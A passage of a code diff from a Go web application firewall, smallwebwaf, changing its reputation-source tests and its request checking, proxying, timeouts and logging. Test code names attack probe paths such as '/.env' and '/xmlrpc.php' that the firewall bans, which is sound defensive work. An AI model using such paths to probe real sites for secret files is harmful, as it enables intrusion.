Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
internal/proxy/reputation_test.go
+11 -95
View File
@@ -6,7 +6,6 @@ import (
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"strconv"
"strings"
@@ -14,7 +13,6 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -272,7 +270,6 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventReputationHit,
Host: appHost,
Client: netip.MustParseAddr(fromDE),
Netblock: netip.MustParsePrefix(fromDE + "/32"),
ASN: asnDE,
@@ -290,7 +287,7 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// Each list's hits, none of its fetches failed, and when its copy was
// fetched, 0 for the one without.
metrics := s.scrape()
metrics := s.scrape(unplaced)
fetched := float64(listsFetched().Unix())
for listURL, want := range map[string]struct{ hits, fetched float64 }{
@@ -514,7 +511,6 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventReputationHit,
Host: appHost,
Client: netip.MustParseAddr(fromDE),
Netblock: netip.MustParsePrefix(fromDE + "/32"),
ASN: asnDE,
@@ -532,7 +528,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// Each zone's hits, and its queries and their failures, none, since
// every client had its verdicts.
metrics := s.scrape()
metrics := s.scrape(unplaced)
for _, zone := range []string{dnsblZone, otherZone} {
labels := `{instance="` + alertInstance + `",source="` + zone + `"}`
@@ -566,7 +562,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
masked)
}
metrics := s.scrape()
metrics := s.scrape(unplaced)
wantMetric(t, metrics, `smallwebwaf_reputation_hits_total{instance="`+
alertInstance+`",source="`+masked+`"}`, 1)
@@ -703,14 +699,10 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
wantAbuseIPDBChecks(t, server, 1)
}
// probePath is the path the ban rule of testRules, probe, matches, and
// blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
// probePath is the path the ban rule of testRules, probe, matches.
const probePath = "/.env"
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -724,21 +716,13 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
want ratelimit.Offences
}{
{
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
"a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1},
},
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -746,7 +730,6 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, wafMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
@@ -756,8 +739,8 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
}
// Its next request, once any ban for a clear sign of attack
// has ended, has it checked.
// Its next request, once a ban rule's ban has ended, has it
// checked.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1)
@@ -860,7 +843,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
// The hits, and the checks, none, since no client committed an
// offence, so that the whole budget is left.
metrics := s.scrape()
metrics := s.scrape(unplaced)
labels := `{instance="` + alertInstance + `",source="` + abuseipdb + `"}`
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2)
@@ -887,77 +870,10 @@ func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 0)
wantNoSeries(t, s.scrape(), `smallwebwaf_reputation_daily_budget_remaining{`+
wantNoSeries(t, s.scrape(unplaced), `smallwebwaf_reputation_daily_budget_remaining{`+
`instance="`+alertInstance+`",source="`+abuseipdb+`"}`)
}
func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
t.Parallel()
score := int64(90)
listed := []bans.ReputationHit{
{Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
}
for _, tc := range []struct {
name string
// ban sends the requests from the client at from that ban it.
ban func(s *sender, from string)
}{
{"for a broken rate limit", func(s *sender, from string) {
s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
}},
{"for a clear sign of attack", func(s *sender, from string) {
s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, server, queue := startWithAlerts(t, map[string]string{
rateLimitPerMinute: "1", rulesDir: writeRules(t, testRules),
blocklistURLs: dropURL, blocklistAction: actionLog,
dnsblZones: dnsblZone, dnsblResolver: noResolver,
abuseIPDBKey: accountKey, reputationAction: actionLog,
})
// Every source lists client, and none otherClient, whose score is
// under SWWAF_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
loadScores(server, map[string]int64{client: score, otherClient: 74})
for _, banned := range []struct {
from string
want []bans.ReputationHit
}{{client, listed}, {otherClient, nil}} {
tc.ban(s, banned.from)
held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
banned.from, held, banned.want)
}
}
// The alert for each ban carries the same in its notes.
var alerted [][]bans.ReputationHit
for _, alert := range queue.Snapshot().Waiting[alerts.DestinationWebhook] {
if alert.Event == alerts.EventBan {
notes, _ := alert.Detail["notes"].(bans.Notes)
alerted = append(alerted, notes.Reputation)
}
}
if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
alerted, want)
}
})
}
}
// listsFetched is when loadLists has the copies fetched.
func listsFetched() time.Time {
return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC)
internal/proxy/request.go
+553 -204
View File
@@ -2,132 +2,151 @@ package proxy
import (
"context"
"errors"
"io"
"net/http"
"net/http/httptrace"
"net/http/httputil"
"net/netip"
"net/url"
"os"
"slices"
"strings"
"sync"
"sync/atomic"
"time"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// refusal is servewaf refusing a request: the status the visitor is to get, 0
// to close its connection without an answer, and the action the log line names.
// flushAfterEachWrite has ReverseProxy pass on each part of the app's
// answer as soon as it arrives.
const flushAfterEachWrite time.Duration = -1
// refusal is smallwebwaf refusing a request, or refusing to go on with it:
// the status the client is answered if the response has not started yet,
// 0 to close the connection without an answer, the action the log line
// names, and the setting whose size or time limit the request passed, if
// that is why.
type refusal struct {
status int
action string
limit string
}
// decision is what the checks note of a request: its log line, and what
// counting the request needs once it has ended. servewaf keeps a copy of it
// until the request's report comes. It holds no credentials, since the log line
// never does, and neither the request's objects nor their bodies.
type decision struct {
line requestlog.Line
client netip.Addr
// requestURI is the path with the query, as a ban's notes keep it.
requestURI string
// site is, for a question, the host the visitor asked for, which the
// alerts name, since one servewaf serves many sites.
site string
// allowed is true for a question answered with DispositionAllow.
allowed bool
// request is one request on its way through smallwebwaf, from the moment
// its headers have been read to its log line.
type request struct {
h *handler
in *http.Request
// rc sets the deadlines of the connection to the client.
rc *http.ResponseController
out *responseWriter
body *requestBody // nil for a request without a body
line requestlog.Line
client netip.Addr
peer netip.Addr
peerTrusted bool
// lookedUp is true once the client's AS number and country have been
// looked up, whether or not an answer was there, and lookupAnswer is
// what the lookup gave then, the zero Answer while GeoJS had given none.
lookedUp bool
lookupAnswer lookup.Answer
// skippedLookupWait is true for a request that did not wait for GeoJS and
// found no answer kept. SWWAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
// so that not waiting never lowers its client's limits.
skippedLookupWait bool
// counted is true for a request the rate limits counted, whose bytes
// the byte limits count once it has ended. limitPercent and
// bytesPercent are then its client's limit percentages for the rate
// limits and for the byte limits.
counted bool
limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, and wafBlocked for
// one the Core Rule Set refused, each an offence its client's history
// counts.
attack, ruleBlocked, wafBlocked bool
// reputation is the reputation sources that list the client, for the
// notes of a ban the request makes.
reputation []bans.ReputationHit
}
// request is one request to servewaf, from the moment its headers have been
// read to its log line.
type request struct {
decision
h *handler
in *http.Request
out *responseWriter
// attack is true for a request that matched a ban rule, and
// ruleBlocked for one a block rule refused, each an offence its
// client's history counts.
attack, ruleBlocked bool
// blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit.
blocklisted, dnsblListed, abuseIPDBHit bool
start time.Time
// checked is when the checks were done.
checked time.Time
// refused is what the request was refused with, nil if it was not.
refused *refusal
// requestBytes is how many bytes of the request's body have been read.
requestBytes int64
// checked is when the checks were done, and upstreamStart when the
// request was handed to the app.
checked time.Time
upstreamStart time.Time
// cancel ends the request to the app.
cancel context.CancelFunc
// refused is the first refusal, from whichever goroutine meets it.
refused atomic.Pointer[refusal]
// complete is true once the app's whole answer has been passed on.
complete bool
// upgraded is the connection to the app once the app has switched
// protocols, as for a WebSocket, and nil otherwise.
upgraded *upgradedConn
// mu guards what follows. The timeouts run on goroutines of their
// own, and the transport starts and stops them, and notes the times
// below, from its own; once timersStopped is set, none of the timeouts
// acts any more.
mu sync.Mutex
timersStopped bool
clientRequestTimer *time.Timer
upstreamRequestTimer *time.Timer
upstreamResponseTimer *time.Timer
// connected is when there was a connection to the app, requestSent
// when the app had been sent the whole request, and answerStarted
// when the first byte of its answer arrived.
connected time.Time
requestSent time.Time
answerStarted time.Time
}
// startRequest starts handling r from client, which came through peer: it
// notes the time, counts the request as under way, and starts the log line
// with what is known of the request. isQuestion says whether r is a question,
// whose headers give the request's id and scheme.
func (h *handler) startRequest(
w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
) *request {
// newRequest starts handling r: it notes the time, counts the request as
// under way, works out the client, and starts the log line with what is
// known of the request.
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
h.metrics.RequestStarted()
start := time.Now()
peer := peerAddress(r)
trusted := h.config.TrustedProxies
peerTrusted := isInside(peer, trusted)
forwardedFor := r.Header.Values("X-Forwarded-For")
client := clientAddress(peer, forwardedFor, trusted)
rq := &request{
decision: decision{
client: client,
requestURI: r.URL.RequestURI(),
line: requestlog.Line{
Time: requestlog.FormatTime(start),
Instance: h.config.InstanceName,
ClientIP: client.String(),
Method: r.Method,
Scheme: scheme(r, isQuestion),
Host: r.Host,
Path: rules.Path(r),
Query: r.URL.RawQuery,
Protocol: r.Proto,
Referer: r.Referer(),
UserAgent: r.UserAgent(),
RequestID: requestID(r, isQuestion),
PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
HasCookie: len(r.Header.Values("Cookie")) > 0,
Action: requestlog.ActionForward,
},
h: h,
in: r,
rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w},
client: client,
peer: peer,
peerTrusted: peerTrusted,
start: start,
line: requestlog.Line{
Time: requestlog.FormatTime(start),
Instance: h.config.InstanceName,
ClientIP: client.String(),
Method: r.Method,
Scheme: scheme(r, peerTrusted),
Host: r.Host,
Path: r.URL.EscapedPath(),
Query: r.URL.RawQuery,
Protocol: r.Proto,
Referer: r.Referer(),
UserAgent: r.UserAgent(),
RequestID: requestID(r, peerTrusted),
PeerIP: peer.String(),
ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
HasCookie: len(r.Header.Values("Cookie")) > 0,
Action: requestlog.ActionForward,
},
h: h,
in: r,
out: &responseWriter{ResponseWriter: w},
start: start,
}
// A length of -1 is a body whose length was not announced.
@@ -135,6 +154,10 @@ func (h *handler) startRequest(
rq.line.ContentLength = r.ContentLength
}
if r.Body != http.NoBody {
rq.body = &requestBody{body: limitBody(r.Body, h.config.RequestMaxBytes), rq: rq}
}
return rq
}
@@ -159,28 +182,38 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
return headers
}
// check is the one place where a request can be refused. It returns nil to let
// the request through. The checks of checkClient decide: a request they refuse
// is answered with SWWAF_BAN_RESPONSE, 403 for a block rule or the Core Rule Set,
// or 431 for the header limits. In observe mode nothing is refused, and the log
// line names what enforce mode would have done. ctx is the request's own context.
// check is the one place where a request can be refused once its client
// is known, before its body is read or anything reaches the app. It
// returns nil to let the request through. The checks of checkClient come
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
// then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. ctx is
// the request's own context.
func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx)
switch {
case action == "":
return nil
case rq.h.config.Observe:
// The log line names what enforce mode would have done.
rq.line.WouldAction = action
return nil
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
case action == requestlog.ActionRuleBlocked:
return &refusal{status: http.StatusForbidden, action: action}
case action == requestlog.ActionTooLarge:
return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
default:
return rq.banResponse(action)
}
maxBytes := rq.h.config.RequestMaxBytes
if maxBytes > 0 && rq.in.ContentLength > maxBytes {
return &refusal{
status: http.StatusRequestEntityTooLarge,
action: requestlog.ActionTooLarge,
limit: "SWWAF_REQUEST_MAX_BYTES",
}
}
return nil
}
// checkClient runs the checks on the request's client, and returns the
@@ -189,15 +222,14 @@ func (rq *request) check(ctx context.Context) *refusal {
// other client, SWWAF_DENY_NETS comes first, then a ban on its netblock,
// so that a client either refuses is not looked up, then the lookup of
// its AS number and country, then the country lists, then the blocklists,
// then the CrowdSec decision list, which bans the client it lists, then
// the DNSBL zones' verdicts, and then AbuseIPDB's score; a request any of
// them refuses is not counted for the rate limits. Then come the
// then the DNSBL zones' verdicts, and then AbuseIPDB's score; a request
// any of them refuses is not counted for the rate limits. Then come the
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit
// percentages, then SWWAF_TRAP_PATHS, then the rule files, then the header
// limits, and last the Core Rule Set. A request exempt from the rate limits
// is exempt from the byte limits too. ctx is the request's own context.
// percentages, and last the rule files. A request exempt from the rate
// limits is exempt from the byte limits too. ctx is the request's own
// context.
func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) {
@@ -214,13 +246,7 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionBanned
}
rq.lookUp(ctx, now)
// The lookup can wait for GeoJS, so the checks after it read the time
// again: a request counted at the time it arrived could be counted
// after a later one of its client's, which the rate limits would take
// for the clock set back.
now = rq.h.now()
rq.lookUp(ctx)
if rq.countryDenied() {
return requestlog.ActionCountryDenied
@@ -230,15 +256,12 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionDenied
}
if rq.crowdSecBanned(now) {
return requestlog.ActionBanned
}
if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
return requestlog.ActionDenied
}
rq.counted = rq.countedByRateLimits()
rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
if rq.counted {
rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
@@ -249,44 +272,22 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited
}
if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
if rq.overHeaderLimits() {
return requestlog.ActionTooLarge
}
return rq.checkCoreRuleSet()
return rq.checkRules(now)
}
// countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWWAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWWAF_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
}
// pathExempt reports whether r is exempt under prefixes,
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
// path contains .. anywhere or a backslash, or whose path as sent holds an
// pathExempt reports whether the rate limits leave out a request for u
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
// path the app receives, not percent-decoded, starts with one of
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
// router matches the path as received. A request whose decoded path
// contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does.
func pathExempt(r *http.Request, prefixes []string) bool {
decoded := r.URL.Path
sent := rules.Path(r)
func pathExempt(u *url.URL, prefixes []string) bool {
decoded := u.Path
// EscapedPath is the path as the app receives it, not decoded.
sent := u.EscapedPath()
if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
strings.Contains(strings.ToLower(sent), "%2f") {
@@ -298,40 +299,222 @@ func pathExempt(r *http.Request, prefixes []string) bool {
})
}
// finish counts the request in the metrics and writes its log line.
// forward passes the request to the app and the app's answer back. ctx
// is the request's own context.
func (rq *request) forward(ctx context.Context) {
ctx, cancel := context.WithCancel(ctx)
defer cancel()
rq.cancel = cancel
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
GotConn: rq.gotConn,
WroteRequest: rq.wroteRequest,
GotFirstResponseByte: rq.gotFirstResponseByte,
})
out := rq.in.WithContext(ctx)
if rq.body != nil {
out.Body = rq.body
}
reverseProxy := &httputil.ReverseProxy{
Rewrite: rq.rewrite,
Transport: rq.h.transport,
FlushInterval: flushAfterEachWrite,
ErrorLog: rq.h.errorLog,
ModifyResponse: rq.modifyResponse,
ErrorHandler: rq.answerError,
}
rq.startRequestTimers()
rq.upstreamStart = time.Now()
reverseProxy.ServeHTTP(rq.out, out)
}
// rewrite makes the request the app receives: the client's request,
// unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers and
// the request's id set, without any X-Client-ASN or X-Client-Country the
// client sent, whatever SWWAF_ADD_LOOKUP_HEADERS says, and, while it is
// set, with the client's AS number and country in them.
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
upstream := rq.h.config.UpstreamURL
pr.Out.URL.Scheme = upstream.Scheme
pr.Out.URL.Host = upstream.Host
// ReverseProxy drops query parameters it cannot parse; the app gets
// the query as the client sent it.
pr.Out.URL.RawQuery = pr.In.URL.RawQuery
setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
pr.Out.Header.Del(asnHeader)
pr.Out.Header.Del(countryHeader)
if rq.h.config.AddLookupHeaders {
setLookupHeaders(pr.Out.Header, rq.line.ASN, rq.line.Country)
}
}
// modifyResponse looks at the app's answer before ReverseProxy passes it
// on.
func (rq *request) modifyResponse(res *http.Response) error {
rq.line.UpstreamStatus = res.StatusCode
if res.StatusCode == http.StatusSwitchingProtocols {
// An upgraded connection, such as a WebSocket, is not cut by the
// timeouts. ReverseProxy writes this answer straight to the
// connection it takes over, not through rq.out, and then copies
// what passes each way through res.Body, the connection to the app.
rq.stopTimers()
rq.out.status = res.StatusCode
rq.line.Websocket = true
conn, ok := res.Body.(io.ReadWriteCloser)
if ok {
rq.upgraded = &upgradedConn{ReadWriteCloser: conn}
res.Body = rq.upgraded
}
return nil
}
maxBytes := rq.h.config.ResponseMaxBytes
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
rq.refuse(refusal{
status: http.StatusBadGateway,
action: requestlog.ActionTooLarge,
limit: "SWWAF_RESPONSE_MAX_BYTES",
})
return errResponseTooLarge
}
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
rq.startClientResponseTimeout()
return nil
}
// answerError is ReverseProxy's ErrorHandler: the request could not be
// passed to the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
refused := rq.refused.Load()
if refused == nil {
if rq.in.Context().Err() != nil {
return // the client has gone, and there is no one to answer
}
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
refused = &refusal{
status: http.StatusBadGateway,
action: requestlog.ActionUpstreamError,
}
}
rq.answer(*refused)
}
// answer sends smallwebwaf's own answer, unless the response has already
// started, and records the refusal for the log line.
func (rq *request) answer(r refusal) {
rq.refused.CompareAndSwap(nil, &r)
if rq.out.status != 0 {
return // too late to answer: the connection can only be cut
}
if r.status == 0 {
// SWWAF_BAN_RESPONSE is close. This panic has Go's server close
// the connection without an answer, and log nothing; the log line
// is still written as the handler returns.
panic(http.ErrAbortHandler)
}
// A client found too slow is read no more; any other may go on
// sending until its time is up, so that Go's server can read the
// rest of the body and end the request cleanly.
deadline := rq.clientRequestDeadline()
if r.status == http.StatusRequestTimeout {
deadline = time.Now()
}
rq.stopReadingBody(deadline)
timeout := rq.h.config.ClientResponseTimeout
if timeout > 0 {
_ = rq.rc.SetWriteDeadline(time.Now().Add(timeout))
}
http.Error(rq.out, http.StatusText(r.status), r.status)
}
// refuse records r, unless an earlier refusal was, and ends the request
// to the app, if one was made: smallwebwaf reads the body of a request
// it answers itself too.
func (rq *request) refuse(r refusal) {
rq.refused.CompareAndSwap(nil, &r)
if rq.cancel != nil {
rq.cancel()
}
}
// finish ends the request's timeouts, counts it in the metrics and writes
// its log line.
func (rq *request) finish() {
rq.stopTimers()
refused := rq.refused.Load()
if refused == nil {
rq.stopReadingBody(rq.clientRequestDeadline())
}
line := &rq.line
line.Status = rq.out.status
line.ResponseBytes = rq.out.bytes
line.ResponseContentType = rq.out.Header().Get("Content-Type")
line.RequestBytes = rq.requestBytes
header := rq.out.Header()
line.ResponseContentType = header.Get("Content-Type")
line.CacheControl = header.Get("Cache-Control")
line.Location = header.Get("Location")
line.RequestBytes = rq.requestBytes()
// limit is the setting whose size or time limit the request passed.
var limit string
switch {
case rq.refused != nil:
line.Action = rq.refused.action
case rq.out.err != nil || rq.in.Context().Err() != nil:
case refused != nil:
line.Action = refused.action
limit = refused.limit
case errors.Is(rq.out.err, os.ErrDeadlineExceeded):
// The client took longer than SWWAF_CLIENT_RESPONSE_TIMEOUT to
// take the response.
line.Action = requestlog.ActionTimedOut
limit = "SWWAF_CLIENT_RESPONSE_TIMEOUT"
case !rq.complete && (rq.out.err != nil || rq.in.Context().Err() != nil):
line.Aborted = true
}
duration := time.Since(rq.start)
now := time.Now()
duration := now.Sub(rq.start)
line.DurationTotal = requestlog.Milliseconds(duration)
line.DurationChecks = timing(rq.start, rq.checked)
// Counted before the log line is written, so that the metrics count
// every request whose line is out. An allowed request is the exception:
// its report gives the status, bytes and times the metrics count.
if rq.allowed {
rq.h.metrics.RequestAllowed()
} else {
rq.h.metrics.RequestEnded(line, duration)
var upstreamDuration time.Duration
if !rq.upstreamStart.IsZero() {
upstreamDuration = now.Sub(rq.upstreamStart)
line.DurationUpstreamTotal = new(requestlog.Milliseconds(upstreamDuration))
rq.mu.Lock()
line.DurationUpstreamConnect = timing(rq.upstreamStart, rq.connected)
line.DurationUpstreamFirstByte = timing(rq.upstreamStart, rq.answerStarted)
rq.mu.Unlock()
}
rq.writeLine()
}
// Counted before the log line is written, so that the metrics count
// every request whose line is out.
rq.h.metrics.RequestEnded(line, limit, duration, upstreamDuration)
// writeLine writes the request's log line.
func (rq *request) writeLine() {
err := requestlog.Write(rq.h.requestLog, &rq.line)
err := requestlog.Write(rq.h.requestLog, line)
if err != nil {
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
}
@@ -349,26 +532,23 @@ func timing(start, end time.Time) *float64 {
}
// addToHistory adds the request, which has ended, to its client's
// history, and counts its offences in the metrics, and then the lookup's
// answer about the client, as answerAtTheEnd gives it, to that history and
// to the notes of the bans on its netblock: an answer may have come
// before either was there, and one from GeoJS that comes later is added
// when it comes.
// history, and then the lookup's answer about the client, as
// answerAtTheEnd gives it, to that history and to the notes of the bans
// on its netblock: an answer may have come before either was there, and
// one from GeoJS that comes later is added when it comes.
func (rq *request) addToHistory() {
request := ratelimit.Request{
Forwarded: rq.allowed,
Refused: rq.refused != nil,
forwarded := !rq.upstreamStart.IsZero()
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{
Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status,
RequestBytes: rq.requestBytes,
RequestBytes: rq.requestBytes(),
ResponseBytes: rq.out.bytes,
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack,
RuleBlocked: rq.ruleBlocked,
WAFBlocked: rq.wafBlocked,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
})
answer, found := rq.answerAtTheEnd()
if found {
@@ -391,7 +571,6 @@ func (rq *request) countAnomalies() {
answer, _ := rq.answerAtTheEnd()
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
Host: rq.site,
Client: rq.client,
ClientGroup: rq.h.clientGroup(rq.client),
ASN: answer.ASN,
@@ -425,38 +604,208 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
}
// responseWriter is servewaf's answer to a request. It notes the status and
// size for the log line, and the first error writing the answer.
type responseWriter struct {
http.ResponseWriter
// status is the status sent, or zero before one is.
status int
bytes int64
err error
}
// WriteHeader sends the status and headers.
func (w *responseWriter) WriteHeader(status int) {
if w.status == 0 {
w.status = status
// requestBytes is how many bytes of the request's body have been read.
func (rq *request) requestBytes() int64 {
if rq.body == nil {
return 0
}
w.ResponseWriter.WriteHeader(status)
return rq.body.bytes.Load()
}
// Write sends part of the body.
func (w *responseWriter) Write(p []byte) (int, error) {
if w.status == 0 {
w.status = http.StatusOK
// clientRequestDeadline is when the client must have sent its whole
// request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off.
func (rq *request) clientRequestDeadline() time.Time {
timeout := rq.h.config.ClientRequestTimeout
if timeout == 0 {
return time.Time{}
}
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n)
return rq.start.Add(timeout)
}
if w.err == nil {
w.err = err
// stopReadingBody ends, at deadline, the reading of a client body that has
// not arrived whole: Go's server then reads no more of it, and closes the
// connection after the answer.
func (rq *request) stopReadingBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
}
return n, err
_ = rq.rc.SetReadDeadline(deadline)
}
// startRequestTimers starts the timeouts that run while the request goes
// to the app: SWWAF_CLIENT_REQUEST_TIMEOUT until the client has sent its
// whole body, and SWWAF_UPSTREAM_REQUEST_TIMEOUT until the app has been
// sent the whole request.
func (rq *request) startRequestTimers() {
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.body != nil && rq.h.config.ClientRequestTimeout > 0 {
rq.clientRequestTimer = time.AfterFunc(
time.Until(rq.clientRequestDeadline()), func() {
rq.requestTimedOut("SWWAF_CLIENT_REQUEST_TIMEOUT")
})
}
timeout := rq.h.config.UpstreamRequestTimeout
if timeout > 0 {
